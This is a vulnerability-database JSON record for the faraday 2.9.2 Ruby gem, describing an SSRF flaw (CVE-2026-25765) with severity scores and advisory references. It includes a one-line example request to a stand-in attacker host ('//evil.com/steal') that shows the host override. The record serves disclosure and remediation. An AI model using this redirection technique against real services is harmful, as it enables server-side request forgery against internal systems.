{"url":"http://public2.vulnerablecode.io/api/packages/174113?format=json","purl":"pkg:gem/faraday@2.9.2","type":"gem","namespace":"","name":"faraday","version":"2.9.2","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"2.14.2","latest_non_vulnerable_version":"2.14.2","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/50065?format=json","vulnerability_id":"VCID-ycrm-uaf6-73a7","summary":"Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url\nFaraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's\n`URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,\nprotocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\nthat override the base URL's host/authority component.\n\nThis means that if any application passes user-controlled input to Faraday's `get()`,\n`post()`, `build_url()`, or other request methods, an attacker can supply a\nprotocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\narbitrary host, enabling Server-Side Request Forgery (SSRF).\n\nThe `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n`/`, so protocol-relative URLs bypass it entirely.\n\n**Example:**\n```ruby\nconn = Faraday.new(url: 'https://api.internal.com')\nconn.get('//evil.com/steal')","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25765.json","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25765.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25765","reference_id":"","reference_type":"","scores":[{"value":"0.0002","scoring_system":"epss","scoring_elements":"0.05693","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25765"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25765","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25765"},{"reference_url":"https://github.com/lostisland/faraday","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/lostisland/faraday"},{"reference_url":"https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-10T15:39:44Z/"}],"url":"https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"},{"reference_url":"https://github.com/lostisland/faraday/pull/1569","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/lostisland/faraday/pull/1569"},{"reference_url":"https://github.com/lostisland/faraday/releases/tag/v1.10.5","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/lostisland/faraday/releases/tag/v1.10.5"},{"reference_url":"https://github.com/lostisland/faraday/releases/tag/v2.14.1","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-10T15:39:44Z/"}],"url":"https://github.com/lostisland/faraday/releases/tag/v2.14.1"},{"reference_url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"},{"reference_url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.4","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.4"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2438241","reference_id":"2438241","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2438241"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25765","reference_id":"CVE-2026-25765","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25765"},{"reference_url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml","reference_id":"CVE-2026-25765.YML","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"},{"reference_url":"https://github.com/advisories/GHSA-33mh-2634-fwr2","reference_id":"GHSA-33mh-2634-fwr2","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","sco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